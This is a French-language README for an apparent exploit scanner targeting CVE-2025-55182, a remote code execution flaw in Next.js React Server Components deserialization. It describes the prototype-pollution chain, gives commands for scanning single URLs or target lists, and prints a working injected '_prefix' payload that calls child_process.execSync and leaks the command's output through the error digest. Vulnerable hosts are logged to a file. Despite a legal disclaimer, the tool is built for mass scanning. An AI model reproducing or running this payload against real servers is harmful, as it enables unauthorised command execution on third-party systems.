CVE‑2025‑55182 – Scanner RCE pour désérialisation RSC Next.js

Cet outil vérifie si une cible est vulnérable à CVE‑2025‑55182, un bug d'exécution de code à distance causé par la gestion non sécurisée des charges utiles de modèles RSC (React Server Components) dans Next.js.
La vulnérabilité enchaîne Pollution de prototype → Abus de désérialisation → Exécution JavaScript côté serveur.

Avertissement : N'utilisez cet outil que sur des systèmes que vous possédez légalement ou pour lesquels vous disposez d'une autorisation explicite. Tester sans autorisation = crime, mec.

🔥 Comment fonctionne cette vulnérabilité

Next.js traite en interne des objets « modèle » spéciaux envoyés via multipart/form-data.
Si un attaquant injecte une structure malveillante comme un thenable falsifié, il peut empoisonner :

• __proto__
• _response._prefix
• constructor.constructor
• et d'autres éléments internes

Ceci amène le serveur à évaluer du JavaScript contrôlé par l'attaquant, ce qui conduit à une RCE complète.

📌 Ce que fait ce script

• Accepte une URL unique (-u) ou une liste de cibles (-l)
• Envoie une charge utile multipart/désérialisation spécialement conçue
• Extrait la sortie de commande (id) du digest d'erreur du serveur
• Enregistre les hôtes vulnérables dans foxvuln.txt

▶ Utilisation

URL unique

python3 main.py -u https://target.com

Mode liste

python3 main.py -l list.txt

📦 Aperçu de la charge utile

La charge utile abuse de process.mainModule.require('child_process').execSync() via un _prefix injecté :

"_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",

Cela force le serveur à exécuter id et à divulguer le résultat dans le digest d'erreur renvoyé (car les erreurs RSC renvoient intentionnellement un champ « digest » structuré).

🧪 Exemple de sortie

Cible vulnérable :

[+] Testing: https://victim.com
[VULN] user : uid=1000(www-data)

Non vulnérable :

[+] Testing: https://secure.com
[NOT VULN]

🗂 Fichier de sortie

Toutes les URL confirmées vulnérables sont enregistrées dans :

foxvuln.txt

Format :

https://victim.com => uid=1000(www-data)

🧠 Remarques

• Fonctionne uniquement sur les points de terminaison qui traitent les charges utiles de streaming RSC de Next.js
• Ne force pas les routes — suppose que l'hôte traite le POST à /
• Le délai d'expiration est fixé à 10 s par hôte
• Totalement sûr pour les environnements de laboratoire — mais ne lancez pas ça sur des serveurs au hasard, sauf si vous voulez enchaîner un délit à toute vitesse.